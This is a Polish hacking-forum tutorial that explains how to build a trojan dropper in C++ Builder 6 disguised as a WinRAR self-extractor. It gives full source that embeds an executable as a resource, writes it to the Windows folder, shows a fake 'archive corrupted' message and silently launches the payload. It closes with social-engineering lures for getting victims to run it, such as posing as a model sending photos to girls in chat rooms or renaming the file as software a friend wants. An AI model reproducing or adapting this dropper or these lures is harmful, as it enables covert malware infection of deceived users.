Jak przemycić server[BCB6] |
Elo.Jest wiele sposobów na podrzucenie komuś trojana.
Nie odkryłem Ameryki pisząc ten art,ale uważam,że
ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.
Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
nazwa obydwóch musi być identyczna.W przykładzie przyjąłem,że
te pliki to app.rh i app.rc
Zawartość pliku *.RC
-----------------------------------
Kod:
#include "app.rh"
<--nazwa pliku *.RH
Kod:
ID_APPL RCDATA "C:\\plik.exe"
<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------
Kod:
#ifndef APP_RH
<--Gdzie APP to nazwa tworzonych właśnie plików
Kod:
#define APP_RH
<--Gdzie APP to nazwa tworzonych właśnie plików
Kod:
#define ID_APPL 1000
<--Gdzie ID_APPL to identyfikator zasobu.Liczba pozostaje bez zmian
Kod:
#endif
-----------------------------------
Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:
Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone
W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC
W pliku źródłowym Unit1.cpp
Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------
Kod:
#include <memory>
Kod:
#include "app.rh"
<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------
Kod:
void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
Application->MessageBox("Archiwum uszkodzone",
"WinRar Self Extractor", MB_OK | MB_ICONSTOP);
return;
}
DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);
if(MemoryHandle == NULL) return;
BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);
std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;
TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}
-------------------------------------------------
Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------
Kod:
Extractor(ID_APPL, "C:\\Windows\\plik.exe");
<-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe
Kod:
Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
MB_OK | MB_ICONHAND );
<-- Fałszywy komunikat o uszkodzeniu archiwum
Kod:
WinExec("C:\\Windows\\plik.exe", SW_SHOW);
<--Urachamia wypakowany plik
Kod:
Close();
<--Wiadomo chyba....
-------------------------------------------------
Aha byłbym zapomniał
Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.
Ok.Doszliśmy do końca projektu(prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done(znowu prawie).
Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:
1.Głupim lolitkom na czatach mówiąc,że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz,że dodawanie stu załączników jest
troche uciążliwe i czasochłonne a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.
2.Czekasz aż ziomek z sieci zapyta Cię o jakiś ważny dla niego
program wtedy zmieniasz nazwę pliku na program którego szuka qmpel i dajesz mu to czego szukał ;)
3.Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobie na co jest popyt i czekasz.
Kw4cHu
PoZdRo 4 All HaXiTe.OrG UsErS ...